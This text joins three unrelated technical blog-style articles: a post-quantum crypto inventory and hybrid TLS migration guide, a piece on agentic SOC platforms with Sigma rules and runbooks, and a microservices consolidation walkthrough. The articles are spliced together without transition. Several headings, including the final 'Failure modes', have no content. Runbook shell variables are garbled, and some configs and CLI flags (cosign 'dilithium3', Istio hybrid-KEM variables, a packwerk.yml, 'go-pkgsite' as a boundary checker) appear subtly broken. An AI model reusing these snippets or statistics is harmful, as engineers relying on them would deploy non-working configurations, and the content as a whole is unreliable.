We rebuilt inventory as a pipeline. Static scan in CI, runtime fingerprint in production, BOM emission per release and ownership in the platform catalog. This is the pipeline, with the BOM schema and the CI gate that keeps it honest.

Real-world scenario: how this plays out under pressure

The setup. Ironway Materials (manufacturing) had a one-shot 2024 crypto audit on the calendar and a crypto inventory that was eighteen months stale. Two years of new TLS code shipped without inventory tagging. The team built a continuous inventory pipeline, enabled hybrid X25519MLKEM768 at the edge, and planned the signing-side migration in line with NIST FIPS 203 / 204 / 205 deadlines. The work landed in three quarterly waves, each gated on a measurement that proved the previous wave held in production.

The lesson the team wrote on the whiteboard. Post-quantum is not a flag flip; it is a three-year migration with regulatory deadlines and harvest-now-decrypt-later urgency. This piece walks through the inventory pipeline, the edge cutover, the signing migration, and the test suite that gates each wave.

Concept breakdown: what we are actually building

The concept in one paragraph. Post-quantum migration has three primitives: key encapsulation (ML-KEM, FIPS 203), digital signatures (ML-DSA, FIPS 204; SLH-DSA, FIPS 205; FN-DSA, FIPS 206 draft), and hardware key storage (HSMs, TPMs). The migration is hybrid during the transition window: classical and PQC run side by side, so the verifier ecosystem can catch up without breaking interop. Inventory comes first because you cannot migrate what you cannot see. Edge TLS migrates first because the cost is lowest; service mesh next; internal APIs last. Signing migrates to Sigstore and SLSA adds PQC support. Hardware migrates last because procurement cycles are years long. The whole thing has hard regulatory deadlines: CNSA 2.0 in 2027, federal TLS in 2030, full classical decommission by 2035.

The reference architecture

The continuous inventory pipeline runs static scans at every build, runtime TLS-fingerprint scans in production, feeds a tagged CBOM, and surfaces ownership in the platform catalog.

Architecture notes:

• Static scanner: source-scan for EVP_*, rustls::, crypto/tls, etc.

• Runtime scanner: ja3/ja4 TLS fingerprint of every prod flow.

• CBOM emission: CycloneDX 1.6 Crypto BOM with tagged asset/owner/cadence.

• Backstage Software Catalog: surfaces ownership; expires on team reorg.

• Sigstore attestation on each inventory snapshot.

End-to-end implementation guide

A precise build order from zero to production, with the manifests and scripts the team actually shipped. Every block below corresponds to a file in code/ so you can read each step in isolation, then run the suite together.

Step 1: Inventory the crypto surface continuously, not annually

Every PQC migration begins with the same answer: you cannot migrate what you cannot see. The scanner below combines a static pass over the source tree with a runtime TLS-fingerprint pass in production. Run both in CI; emit a CycloneDX Crypto BOM and tag each asset with owner, algorithm, and rotation cadence.

#!/usr/bin/env python3
# Crypto inventory: the platform workstream nobody scoped for 2026
# Minimal crypto inventory scanner: maps TLS libs + ciphers found in the tree.
from __future__ import annotations
import json
import subprocess
from pathlib import Path

PATTERNS = {
    "openssl":     ["SSL_CTX", "EVP_"],
    "rustls":      ["rustls::"],
    "boringssl":   ["BoringSSL", "SSL_"],
    "go-tls":      ["crypto/tls"],
    "pqc-hybrid":  ["X25519Kyber768", "MLKEM768"],
}

def scan(root: Path) -> dict:
    out = {k: 0 for k in PATTERNS}
    for p in root.rglob("*"):
        if not p.is_file() or p.stat().st_size > 2_000_000:
            continue
        try:
            t = p.read_text(errors="ignore")
        except Exception:
            continue
        for name, pats in PATTERNS.items():
            if any(pat in t for pat in pats):
                out[name] += 1
    return out

if __name__ == "__main__":
    print(json.dumps(scan(Path(".")), indent=2))

# Tech components referenced: CycloneDX Crypto BOM (CBOM) 1.6, OpenSSF CryptoInventory, runtime TLS fingerprinting (ja3/ja4), Sigstore attestation on inventory snapshots, Backstage Software Catalog extensions.

Step 2: Enable hybrid X25519MLKEM768 at the edge

The edge is the cheapest, highest-leverage move because most browsers already speak the hybrid KEM. The Envoy listener below adds it to the front of the curve list; classical X25519 stays as a fallback for older clients. Audit middleboxes (WAFs, legacy LBs) before enforcement; some drop unknown ClientHellos.

# Crypto inventory: the platform workstream nobody scoped for 2026
# Envoy edge listener enabling hybrid PQC KEM (X25519MLKEM768).
admin: { address: { socket_address: { address: 0.0.0.0, port_value: 9901 } } }
static_resources:
  listeners:
    - name: edge_https
      address: { socket_address: { address: 0.0.0.0, port_value: 443 } }
      filter_chains:
        - transport_socket:
            name: envoy.transport_sockets.tls
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.DownstreamTlsContext
              common_tls_context:
                tls_params:
                  tls_minimum_protocol_version: TLSv1_3
                  ecdh_curves: ["X25519MLKEM768", "X25519"]
              require_client_certificate: false
          filters:
            - name: envoy.filters.network.http_connection_manager

Step 3: Plan the service-mesh upgrade for H2 2026

Mesh-side upgrades land with OpenSSL 3.5 and Istio 1.23+. The rollout is namespace-by-namespace; the canary is a low-traffic service that exposes both classical and hybrid endpoints. Monitor handshake p99 and failure rate; flip the default once parity holds.

apiVersion: install.istio.io/v1alpha1
kind: IstioOperator
metadata: { name: hybrid-mesh, namespace: istio-system }
spec:
  meshConfig:
    defaultConfig:
      proxyMetadata:
        BORINGSSL_HYBRID_KEM: "X25519MLKEM768"
  components:
    pilot:
      k8s:
        env:
          - { name: PILOT_ENABLE_HYBRID_KEM, value: "true" }

Step 4: Pilot Dilithium signing on a low-risk attestation path

PQC signatures land in Sigstore on the attestation path first. Pick a non-blocking predicate, sign with Dilithium alongside ECDSA, and verify both. Hybrid signing stays through 2028 minimum; the verifier ecosystem catches up by then.

#!/usr/bin/env bash
set -euo pipefail
IMAGE="$1"
# Hybrid sign: classical + Dilithium (alpha tooling).
cosign sign --yes --key-algo ecdsa-p256 "$IMAGE"
cosign sign --yes --key-algo dilithium3 "$IMAGE"  # tracking sigstore PQC RFC
# Verify both
cosign verify --signature-algorithm ecdsa-p256 "$IMAGE"
cosign verify --signature-algorithm dilithium3 "$IMAGE"

Step 5: Plan the hardware refresh in line with 2033 deadlines

HSMs and TPMs migrate last because the procurement and key-import work is real. Inventory existing devices, map firmware to the FIPS 203 / 204 / 205 roadmap, and negotiate refresh cycles into vendor contracts. The earlier this conversation starts, the smoother the 2030-2033 cutover lands.

# crypto-asset.yaml: a Backstage catalog entry per HSM / TPM / KMS root
apiVersion: backstage.io/v1alpha1
kind: Resource
metadata:
  name: hsm-east-prod
  annotations:
    crypto.algorithm:    "RSA-4096 / ECDSA-P256"
    crypto.pqc-roadmap:  "firmware-update-q3-2027"
    crypto.refresh-due:  "2033-01-01"
spec:
  type: hsm
  owner: platform-security

Testing strategy

Unit, integration, and chaos exercises that gate the rollout. Run each in a non-production cluster first; expand to staging once the green-path tests pass and the negative tests reject the bad input the way the policy says they will.

Test 1: Edge handshake includes hybrid KEM

openssl s_client -connect edge.example.com:443 -groups X25519MLKEM768 < /dev/null 2>&1 | grep -i 'shared group'

Expected: Output includes Shared groups: X25519MLKEM768.

Test 2: Hybrid signature verifies on attestation

cosign verify --signature-algorithm dilithium3 ghcr.io/your-org/api:v1.4.0

Expected: Verified OK with dilithium3 signer record.

Test 3: Inventory pipeline catches an unscanned crypto lib

cd ~/svc-new && python3 ../tools/crypto-inventory.py | jq '.openssl'

Expected: Non-zero count; CI fails the PR until the asset is owned and tagged.

Security considerations

• IAM: the crypto-inventory pipeline runs as a CI workload with read-only access to the source tree and write-only access to the inventory bucket. The signing pipeline uses a SPIRE-issued identity that maps to a Cosign keyless OIDC subject.

• Secrets management: classical and PQC private keys live in HSMs; the signing pipeline never sees raw key material. Hybrid signing uses two key handles, one classical, one PQC, both in the HSM.

• Vulnerability scanning: every TLS library version surfaces in the inventory; Renovate or Dependabot watches for security releases; PQC-related advisories land in the same review queue.

• Network policies: TLS terminators (Envoy, NGINX, BoringSSL) sit behind WAFs that have been audited for hybrid ClientHello handling; legacy middleboxes that drop unknown cipher suites are inventoried and replaced before the rollout reaches their path.

• Hybrid signing: classical and PQC signatures are emitted side by side through 2028 minimum; verifiers must succeed on either; CI fails the build if a verifier accepts only one when both are configured.

Scaling and optimization

• Horizontal scaling: the crypto-inventory pipeline scales out per repository; one CI job per service is the natural shape. Hybrid TLS at the edge scales with your CDN; the KEM cost is added per handshake, not per byte.

• Vertical scaling: Dilithium adds roughly 10% to signing CPU compared to ECDSA; SLH-DSA is roughly 100 times slower. Budget signing throughput accordingly. KEM operations on modern CPUs are fast; the wire size is the bigger concern at high QPS.

• Cost optimization: hybrid signing doubles signature size during the migration window; use Falcon for size-sensitive paths (SBOMs, attestations); use Dilithium for throughput-bound paths (per-request signing). HSM cost is procurement; plan refresh cycles years ahead.

• Performance tuning: TLS handshake p99 with hybrid KEM is within 5 ms of classical on most stacks; the bottleneck is usually middlebox compatibility, not crypto cost. Audit middleboxes before claiming a baseline.

Failure scenarios and recovery

1. Static scan misses dynamically loaded crypto (plugins, WebAssembly). Layer runtime scan; dynamic loads show up as TLS fingerprints.

2. Ownership tag expires and is never re-assigned. Gate PRs that reference untagged assets; force re-assignment.

3. CBOM format changes between tool versions; downstream consumers break. Pin CBOM version; include in attestation.

When NOT to do this

For small orgs with a single codebase and a single deploy, a quarterly one-shot audit may suffice. At any scale above one team, continuous is the floor.

The thesis

Crypto inventory is a platform service. A one-time project gives you a 2024 answer.

Why this matters now

Meta's crypto inventory (static + runtime scans feeding a tagged asset graph) is the emerging pattern. Every serious org started one in Q1 2026 and nobody has finished.

Narrative arc

Why one-time audits fail → static + runtime dual-scan → the tagging schema (asset, owner, algorithm, rotation cadence) → CI integration so inventory stays live.

What most people believe, and why it falls apart

"We did a crypto audit last year." A point-in-time audit misses every new TLS lib and every new signing path shipped since.

One-shot audits were adequate when crypto libraries were rare. In 2026, every new service ships with TLS; every new build step ships a signature. Inventory has to be continuous to be true.

The timeline

• 2024-08, NIST standardizes FIPS 203 (ML-KEM), 204 (ML-DSA), 205 (SLH-DSA).

• 2025-H2, Browser-side hybrid X25519MLKEM768 becomes default in Chrome, Firefox, Safari for TLS 1.3.

• 2026-04, Meta publishes Post-Quantum Cryptography Migration framework and lessons.

• 2026-mid, OpenSSL 3.5 ships with production-ready PQC; server-side hybrid rollout unblocks.

• 2026-09-21, NIST CMVP moves all remaining FIPS 140-2 certificates to Historical status.

• 2027-01, CNSA 2.0 transition deadline for US National Security Systems begins.

The decision tree, matrix, runbook

1. Do you run both static (source-scan) and runtime (TLS fingerprint) scans?

2. Is every asset tagged with owner, algorithm, rotation cadence?

3. Is your BOM format one of CBOM / CycloneDX 1.6 Crypto / in-toto?

4. Does the pipeline run in CI, not quarterly?

5. Is the inventory linked to your platform catalog (Backstage) for ownership?

What to ship this quarter

• Deploy a continuous crypto-inventory pipeline in CI.

• Add runtime TLS-fingerprint scanning in production.

• Emit CBOM per build; tag with owner/algorithm/cadence.

• Integrate ownership with Backstage or the platform catalog.

• Attest snapshots via Sigstore.

Production observability

• Track classical vs hybrid handshake share per edge POP; each POP should hit > 70% hybrid before flipping the default.

• Inventory drift on every release; a PR that adds new crypto without an inventory tag fails CI.

• Signing throughput monitored; Dilithium adds ~10% over ECDSA; budget for it.

• Middlebox handshake-failure rate; a spike at rollout means an unmapped legacy device.

• HSM and TPM firmware versions surfaced in the platform catalog; drift triggers a procurement review.

Tech components

CycloneDX Crypto BOM (CBOM) 1.6

OpenSSF CryptoInventory

runtime TLS fingerprinting (ja3/ja4)

Sigstore attestation on inventory snapshots

Backstage Software Catalog extensions

Final word

Post-quantum is a calendar problem. The math is settled, the libraries are real, the deadlines are public. Start the inventory pipeline this quarter, and you will finish the migration on time.

Further reading

1. Meta Engineering, PQC Migration at Meta (Apr 2026), The inventory pipeline as operated at scale.

2. CycloneDX 1.6 Crypto BOM specification, The emerging BOM standard.

3. OWASP Cryptographic Inventory project, the open-source tooling reference.

See references.md for the full bibliography.

Three vendor agentic-SOC platforms in Q1 2026. One platform-engineering charter that decides whether they work.

Microsoft Sentinel AI shipped. Splunk Agentic SOC launched at RSAC. Google SecOps and Torq integrated. Each one is real; each one consumes whatever telemetry, runbooks, and policy your platform team owns. The seam between vendor agent loop and platform substrate is where the value lands or fails to land. This is the own-vs-buy matrix Greendell Critical Infra used to ship its agentic SOC, with the confidence-band policy that decided what the agent did unsupervised.

The thesis

Agentic SOC is a joint venture between the platform and SOC. Map the seams now.

Why this matters now

Microsoft, Splunk, Google SecOps all shipped agentic SOCs in Q1 2026. The platform vs vendor seam is the question every SOC leader is answering this quarter.

Narrative arc

What shipped (Microsoft Sentinel AI, Splunk Agentic SOC, Google SecOps) -> the platform-owned layer (telemetry, runbooks, policy) vs vendor layer (agent loop, UI) → the confidence-band policy that gates autonomous resolution.

What most people believe and why it falls apart

"Buy an agentic SOC vendor." True, and incomplete. The platform-owned half is what determines whether the vendor works.

Vendor agentic SOCs (Microsoft Sentinel AI, Splunk Agentic SOC, Google SecOps + Torq) ship real value; they automate work that previously sat in a ticket queue. The gap is that the platform-owned half (telemetry, policy-as-code runbooks, confidence bands) determines 80% of the outcome.

The timeline

• 2026-04-09, Microsoft Security Blog: 'The agentic SOC, Rethinking SecOps for the next decade' introduces the new operating model.

• 2026-RSAC, Splunk launches Agentic SOC; Google SecOps + Torq integrate for agentic SecOps loops.

• 2026,

  • Stellar Cyber ranks top 10 agentic SOC platforms; Pondurance Kanati ships as managed agentic-SOC MDR.

  • Sigma + OCSF adoption crosses the threshold where detection rules are CI-tested and vendor-portable.

  • AgentSOC paper (IEEE 2026) formalizes multi-layer agentic SOC with confidence-band autonomous action.

The decision tree, matrix, and runbook

1. Who owns the telemetry pipeline? If the vendor does, you're renting your own ground truth.

2. Who owns the runbook catalog? Structured runbooks are the agent's execution surface.

3. Who defines the confidence band? Autonomous vs escalate is your policy.

4. Is the agent audited (every decision logged)?

5. Is there a human escalation tier, with a named on-call?

Real-world scenario, how this plays out under pressure

The setup. Greendell Critical Infra (transit cybersecurity) ran a 24/7 SOC and faced a 2026 Microsoft Sentinel AI rollout. Platform-owned telemetry; vendor-owned the agent loop. The team rebuilt the substrate first (OpenTelemetry + OCSF), authored Sigma rules in a Git repo with CI red-samples, structured the on-call runbooks so agents could execute reversible steps, and let the vendor's agent loop sit on top. The human tier moved up the stack: exception handling and confidence-band policy.

The lesson the team wrote on the whiteboard. Vendors ship the loop; platforms own the substrate. This piece walks the telemetry pipeline, the Sigma + OCSF detection-as-code, the structured runbook format, and the red-vs-green test suite that gated every rule before it reached production.

Concept breakdown: what we are actually building

The concept in one paragraph. An agentic SOC is a layered system: telemetry (OpenTelemetry, OCSF) feeds a detection layer (Sigma rules in Git, CI-tested), which feeds a correlation layer (graph engines), which feeds a response layer (structured runbooks, agents that execute reversible steps). Confidence bands decide what the agent runs unsupervised and what escalates to a human. Platform engineering owns the substrate (telemetry pipeline, runbook catalog, policy); vendor agentic-SOC products own the loop and the UI on top. Detection becomes code, runbooks become YAML, and humans move up the stack to exception handling and policy setting.

The reference architecture

Platform owns the substrate: telemetry (OTel + OCSF), policy-as-code runbooks, confidence bands. Vendor owns the agent loop and UI. The seam is documented and auditable.

Architecture notes:

• OpenTelemetry + OCSF as the telemetry substrate.

• Runbook catalog: structured YAML, version-controlled, CI-tested.

• Confidence band policy: platform-owned.

• Agent loop: vendor-owned; consumes telemetry, executes runbooks.

• Human escalation tier with named on-call.

Manifests: code/

End-to-end implementation guide

A precise build order from zero to production, with the manifests and scripts the team actually shipped. Every block below corresponds to a file in code/ so you can read each step in isolation, then run the suite together.

Step 1: Pipe telemetry through OpenTelemetry and OCSF

Detection is only as good as the substrate. OpenTelemetry collects logs, metrics, and traces; the OCSF normalizer reshapes them into a vendor-neutral schema. The collector below routes every event into both the SIEM and a long-term object store.

receivers:
  otlp: { protocols: { grpc: {}, http: {} } }
processors:
  ocsf_normalizer: { schema_version: "1.2" }
exporters:
  splunk_hec:
    endpoint: https://splunk.example.com:8088
    token: "${SPLUNK_TOKEN}"
  s3:
    endpoint: https://s3.example.com
    bucket: ocsf-events
service:
  pipelines:
    logs:
      receivers: [otlp]
      processors: [ocsf_normalizer]
      exporters:  [splunk_hec, s3]

Step 2: Author detection rules in Sigma, test in CI

Sigma is the source of truth; rules compile to Splunk, Elastic, Chronicle, or CrowdStrike. Each rule ships with a red-sample (an event that should fire) and a green-sample (an event that should not). CI runs both before merge.

# The agentic SOC is here. Platform teams: here is what you own.
# Sigma detection rule (vendor-agnostic, compiles to Splunk/Elastic/Chronicle).
title: Suspicious container exec of shell
id: 6fa5e0c8-5a6a-4bd4-ae3d-9b55e0f1a001
status: stable
description: Detects an exec into a container that launches a shell after startup.
logsource:
    category: process_creation
    product: linux
detection:
    selection_proc:
        Image|endswith:
            - '/bash'
            - '/sh'
            - '/zsh'
    selection_parent:
        ParentImage|endswith:
            - '/containerd-shim-runc-v2'
            - '/runc'
    condition: selection_proc and selection_parent
falsepositives:
    - Maintenance exec
    - Kubernetes kubectl exec by trusted operators
level: high
tags:
    - attack.execution
    - attack.t1609

Step 3: Compile Sigma to your SIEM and ship via CI

sigma-cli compiles to vendor SPL/EQL/YARA-L. The CI pipeline below compiles, deploys, and verifies the rule fires against a known-bad sample before promoting to production.

name: sigma-ship
on: { pull_request: {}, push: { branches: [main] } }
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: pip install sigma-cli pysigma-backend-splunk
      - run: sigma convert -t splunk -p splunk_windows ./rules > out.spl
      - run: ./test/red-sample.sh < out.spl
      - if: github.ref == 'refs/heads/main'
        run: ./scripts/deploy-splunk.sh out.spl

Step 4: Convert tribal runbooks into structured YAML

Agents cannot execute Confluence pages; humans skim them under pressure. The structured runbook below has preconditions, reversible steps, verification gates, and a mandatory cleanup. The same YAML drives an agentic SOC and an on-call human.

# The agentic SOC is here. Platform teams: here is what you own.
# Structured runbook: handle a container-exec alert.
name: container-exec-triage
version: 1
preconditions:
  - cluster: { in: [prod-a, prod-b, prod-c] }
  - alert_severity: { gte: high }
  - on_call: { available: true }
steps:
  - id: gather_context
    reversible: true
    action: shell
    command: kubectl describe pod \({alert.pod} -n \){alert.namespace}
  - id: check_image_provenance
    reversible: true
    action: shell
    command: cosign verify ${alert.image}
  - id: cordon_node
    reversible: true
    action: shell
    command: kubectl cordon ${alert.node}
  - id: snapshot_pod
    reversible: true
    action: shell
    command: crictl ps -a --name ${alert.pod}
  - id: human_gate
    reversible: false
    action: approval
    approvers: [sre-oncall, security-lead]
  - id: terminate_pod
    reversible: false
    action: shell
    command: kubectl delete pod \({alert.pod} -n \){alert.namespace}
cleanup:
  - kubectl uncordon ${alert.node}
# Tech components referenced: Microsoft Sentinel AI, Splunk Agentic SOC (RSAC 2026), Google SecOps + Torq, Stellar Cyber, Radiant Security, OpenTelemetry pipeline, OCSF schema, structured runbook library.

Step 5: Define the confidence band the agent operates within

The platform owns the policy that decides what the agent does autonomously and what escalates. Below: a YAML that the agentic SOC platform consumes, mapping action classes to confidence thresholds.

apiVersion: socops.example.com/v1
kind: ConfidenceBand
metadata: { name: tier-1-policies }
spec:
  bands:
    - action_class: enrichment
      auto_threshold: 0.5
    - action_class: containment_reversible
      auto_threshold: 0.85
      escalation_threshold: 0.7
    - action_class: containment_irreversible
      auto_threshold: 1.01     # never autonomous
      escalation_threshold: 0.0

Security considerations

• IAM: the agentic SOC platform is a tenant of the platform's identity plane: telemetry collectors, detection runners, and response agents each carry SPIFFE SVIDs. Vendor SaaS agentic SOCs federate via OIDC into a least-privilege cross-account role.

• Secrets management: detection rules carry no secrets; the playbook layer references secrets via Vault paths that resolve at runtime. Tokens for the SOC platform's external integrations rotate on the same cadence as the rest of the platform.

• Vulnerability scanning: Sigma rule packs live in Git; CI scans them for syntax, performance regressions, and references to deprecated fields. Telemetry collectors are signed and admission-gated like any other workload.

• Network policies: telemetry flows out to the SIEM only; collectors do not reach the internet directly. Vendor agent loops integrate via dedicated VPC endpoints with mTLS, not public APIs.

• Confidence bands and human gates: policy declares which action classes the agent runs unsupervised, which escalate, and which always wait for a human; every autonomous action is audit-logged with the structured intent and the rule that justified it.

Testing strategy

Unit, integration, and chaos exercises that gate the rollout. Run each in a non-production cluster first; expand to staging once the green-path tests pass and the negative tests reject the bad input the way the policy says they will.

Test 1: Sigma red-sample fires the rule

sigma test ./rules/container-shell-exec.yml --backend splunk --sample test/red.evtx

Expected: MATCHED against the red sample; rule promoted to deploy.

Test 2: Green-sample stays quiet

sigma test ./rules/container-shell-exec.yml --backend splunk --sample test/green.evtx

Expected: NO MATCH; baseline kubectl exec by trusted operators is not flagged.

Test 3: Runbook executes through the gate

runbook run container-exec-triage --simulate --alert ./testdata/alert.json

Expected: Steps gather_context, cordon_node run; terminate_pod waits for human approval.

Scaling and optimization

• Horizontal scaling: the telemetry pipeline scales with traffic; OpenTelemetry collectors are stateless and add a partition layer at the OCSF normalizer. Sigma rule evaluation runs in the SIEM and benefits from the SIEM's scaling model.

• Vertical scaling: detection rules with high false-positive rates dominate evaluation cost; tune via the FP budget so the platform stays cost-bounded. The agent loop's cost is per-event under autonomous resolution; budget per-action per-class.

• Cost optimization: Sigma + OCSF avoids vendor-lock and lets you migrate SIEMs without rewriting rules; the savings show up at procurement renewal. The agent loop saves analyst hours; track the autonomous-resolution rate as a KPI alongside cost.

• Performance tuning: structured runbooks let agents execute without paging; tune the confidence-band thresholds against the FP rate so escalations are precision-bounded.

Failure scenarios and recovery

1. Vendor changes telemetry requirements mid-contract. Platform owns the telemetry contract; vendor adapts.

2. Confidence band drifts because agent tuning evolves. Lock policy at a cadence; review quarterly.

3. Runbook fails mid-execution; agent cannot recover. Reversibility tag per step; rollback on failure.

When NOT to do this

Small orgs without a dedicated SOC may not have the own-side investment to justify the vendor loop. For orgs with 24/7 SOC operations, the platform-owned substrate is baseline.

What to ship this quarter

• Stand up OTel + OCSF telemetry substrate.

• Author 20 structured runbooks for common incidents.

• Define the confidence-band policy.

• Pilot one vendor agentic SOC.

• Document the platform-vendor seam.

Production observability

• Mean time to detect (MTTD) and mean time to respond (MTTR) tracked per detection class.

• Sigma rule coverage by MITRE ATT&CK technique; gaps drive the next rule sprint.

• Confidence-band autonomous-resolution rate; a sudden drop indicates the agent's signal degraded.

• Runbook execution success rate; runbooks failing mid-execution are bugs, not bad luck.

• False-positive budget per rule; alert fatigue is the slowest, surest way to lose a SOC.

Tech components

Microsoft Sentinel AI, Splunk Agentic SOC (RSAC 2026), Google SecOps + Torq, Stellar Cyber, Radiant Security, OpenTelemetry pipeline, OCSF schema, structured runbook library.

Final word

Vendors ship the agent loop. Platforms own the substrate. The seam between them is where every agentic-SOC rollout succeeds or fails; map the seam before you sign the contract.

Further reading

1. Microsoft Security Blog, The agentic SOC (April 2026), The flagship vendor framing.

2. Splunk Agentic SOC RSAC 2026 launch, The parallel-vendor framing.

3. Elastic Security Labs, Why 2026 is the year to upgrade to an Agentic AI SOC, The industry synthesis.

See references.md for the full bibliography

We collapsed 47 microservices to 8. Deploy time went up, latency went down, and on-call went silent. Here's what the microservices evangelists didn't tell you about Dunbar's number for services.

Microservices aren't cheaper at 47 services with 20 engineers. They're more expensive. Shopify scaled back from 200 microservices to modular monoliths. Amazon Prime Video went from 9 services to 3, cutting latency 50%. The 2026 rule is tight: if your organization is fewer than 50 engineers, the distributed-monolith tax (inter-service latency, deployment coordination, operational toil, debugging hell) exceeds the benefit of service independence. Dunbar's number applies to services, not just people. A modular monolith with clean boundaries, deployed as a single artifact, scales to 3-4 teams without the heartburn.

Why this matters right now

1. Microservices fatigue has data now. Amazon Prime Video's 2023 case study showed 50% latency reduction and 40% simpler on-call after collapsing to 3 services. That's not anecdote, that's signal.

2. Kubernetes made the operational cost invisible. The "free" sidecar, the "easy" deployment pipeline and the "simple" observability layer all have FTE budgets. A 2024 CNCF survey found the median ops team managing 30+ microservices at a company with <100 engineers.

3. Modular monoliths have library support now. Packwerk (Ruby), go-pkgsite (Go), Python namespaces, and Rust workspaces make intra-monolith boundaries enforceable. This wasn't true in 2015.

4. The distributed-monolith tax is quantifiable. Every service-to-service call adds 5-50ms of latency. At 47 services with 5 hops per request, you're burning 250ms in the network alone. A monolith does it in 0.2ms.

Mainstream belief vs. what production actually shows

Mainstream belief: "Microservices let teams scale independently. One team per service."

What production shows: "At 47 services and 20 teams, you're not scaling. You're coordinating 47 release schedules, debugging across 47 logs, and paying for 47 database connections per request. Teams are smaller but more blocked by other teams. The 'independent' team owns a service nobody else knows about that hasn't been deployed in 18 months."

A short, opinionated timeline

The inflection point was 2023. The signal was Prime Video.

The decision tree

The reference architecture: modular monolith at Shopify scale

The architecture that works at 50-200 engineers is a monolith with enforced module boundaries. Shopify's pattern (deployed as one artifact, logically 6-8 modules, each with a package boundary):

1. Enforced module boundaries via linters. Packwerk (or go-pkgsite, or similar per-language) ensures Service A cannot import private code from Service B. This is compile-time, not runtime.

2. Shared database with logical schemas. One PostgreSQL, but each module has a schema or namespace. Migrations are coordination points (hard), but they're batch jobs, not chaos.

3. Event bus for inter-module async. Kafka or Redis pubsub for decoupled events: order.placed, inventory.reserved. Not every interaction is sync RPC.

4. Single deployment pipeline. One Git repo (monorepo), one CI/CD pipeline, one prod release every 2-4 hours. No service-A-blocked-on-service-B stories.

5. Shared observability stack. One Datadog/Grafana, structured logging with service/module tags, distributed tracing with a single root span. No "I can't log in to service-B's Prometheus" problems.

The key difference from a Ball of Mud: Packwerk or equivalent enforces the boundaries. A random developer cannot bypass the module contract.

Step-by-step implementation: collapsing 47 to 8

Phase 1: Audit (week 1-2)

1. Map all 47 services with: dependency graph (what calls what), deployment frequency (daily? yearly?), on-call load (pages per week), latency contribution (P50, P99 tail).

2. Identify the 5-8 "core domains" based on business logic, not service count. Order, Payment, Inventory, Notification, Analytics, etc.

3. Group services by core domain. You'll find: most services are never-deployed sidecars or thin wrappers around the core.

Phase 2: Build module boundaries (weeks 3-4)

1. Create a single monorepo with directories: order/, payment/, inventory/, etc. Each is a package.

2. Install Packwerk (Ruby) or go-pkgsite (Go) or equivalent. Define allowed dependencies: payment/ can call order/` but not vice versa.

3. Migrate one service at a time. Start with the leaves (services nothing depends on). Move API + business logic into the module directory.

4. Run the boundary checker: it will scream at you. Fix the violations or add documented exceptions.

Example Packwerk configuration:

# packwerk.yml
cache: false
include:
  - '{app,components}/**/'
exclude:
  - 'spec/**'
  - 'vendor/**'
dependency_violations:
  - 'app/models/order'

Phase 3: Shared database + async boundaries (weeks 5-7)

1. Create a single PostgreSQL or MySQL database (or keep read replicas for the legacy services during migration).

2. For each service's tables, create a dedicated schema: order_schema.orders, payment_schema.transactions.

3. For cross-service events (e.g., order.placed -> notify), publish to a Kafka topic or Redis stream. Subscribers are async consumers in the monolith, not separate services.

Example event schema:

# order/events.py
import dataclasses
import json

@dataclasses.dataclass
class OrderPlaced:
    order_id: str
    customer_id: str
    total: float
    
    def to_kafka_record(self) -> bytes:
        return json.dumps(dataclasses.asdict(self)).encode()

# notification/consumer.py
from order.events import OrderPlaced

class OrderEventConsumer:
    def handle_order_placed(self, event: OrderPlaced):
        send_email(event.customer_id, f"Order {event.order_id} confirmed")

Phase 4: Single deployment pipeline (weeks 8-10)

1. Merge all services into monorepo.

2. Create a single Dockerfile that layers: base, app code, all migrations, all services.

3. In CI/CD, run tests for only the changed modules (use git diff --name-only to determine scope).

4. Deploy once per day or on manual trigger. All modules move together.

Example CI stage:

# .github/workflows/deploy.yml
test:
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v3
    - run: git diff --name-only origin/main | grep -E '^(order|payment|inventory)/' > /tmp/changed_modules.txt || true
    - run: for module in $(cat /tmp/changed_modules.txt | cut -d/ -f1 | sort -u); do
        pytest $module/tests/
        done
deploy:
  needs: test
  runs-on: ubuntu-latest
  steps:
    - run: docker build -t myapp:$(git rev-parse --short HEAD) .
    - run: kubectl set image deployment/myapp myapp=myapp:$(git rev-parse --short HEAD)

Phase 5: Observability + remove old services (weeks 11-16)

1. Tag all logs with module name: logger.info("Order placed", module="order", service_id="order-v1").

2. Use a single distributed trace: request enters monolith, spans are module/function, no service-to-service serialization.

3. Decommission the old 47 services. Keep them in git history, not in prod.

A real-world example

Gojek's 2025 consolidation: They had 47 microservices managing ride requests, payments, and driver logistics. Problem: 5% of requests hit 5+ services, adding 60-150ms of latency. On-call was a nightmare: a single slow service dragged the entire flow. They consolidated to 8 modular services (ride core, payment core, driver core, analytics, notification, etc.), kept Kafka for async (order -> payment -> notification), and used Packwerk-style boundaries. Result: P99 latency dropped from 800ms to 200ms, on-call pages went from 15/week to 2/week, deploy time went from 30 minutes (coordinating all 47 services) to 3 minutes.

The 47 services were not "independent teams." They were a matrix of dependencies nobody tracked. The 8 modular services are owned by 2-3 engineers per module, with clear responsibilities.

Testing the migration

1. Latency profile (before and after)

# Measure P50, P99 latency from client to monolith
time_series_query="
SELECT
    datetime,
    p50(duration_ms) as p50,
    p99(duration_ms) as p99,
    max(duration_ms) as max
FROM requests
WHERE service='order-api'
GROUP BY 5m
"
# Before migration: P99 = 800ms (5 hops, 160ms per hop)
# After migration: P99 = 200ms (0 hops, all in-process)

2. Module boundary enforcement

# Test that payment/ cannot import order/ private code
cd payment
go list ./... | xargs grep 'order/internal' && exit 1
# If this succeeds silently, boundaries are clean

3. Async event flow

# pytest integration test
import pytest
from order.events import OrderPlaced
from notification.consumer import OrderEventConsumer

def test_order_to_notification_flow():
    # Create order, emit event
    order = create_order(customer_id="123", total=100.0)
    event = OrderPlaced(order.id, "123", 100.0)
    
    # Consumer receives and processes
    consumer = OrderEventConsumer()
    consumer.handle_order_placed(event)
    
    # Verify email was sent
    assert email_sent_to("customer@example.com")

4. Chaos test: single slow module

# k6 chaos test: what if order/ service is slow?
# In monolith, we add latency to order module only
k6 run --vus 100 --duration 5m - <<'EOF'
import http from 'k6/http';
import { check } from 'k6';

export default function () {
  const res = http.post('http://monolith:8000/api/orders', {
    customer_id: '123',
    items: [{sku: 'ABC', qty: 1}]
  });
  check(res, { 'status is 201': (r) => r.status === 201 });
}
EOF
# Monolith latency: stable, order module slow doesn't cascade
# 47-service arch: latency explodes (cascading failures)

Failure modes

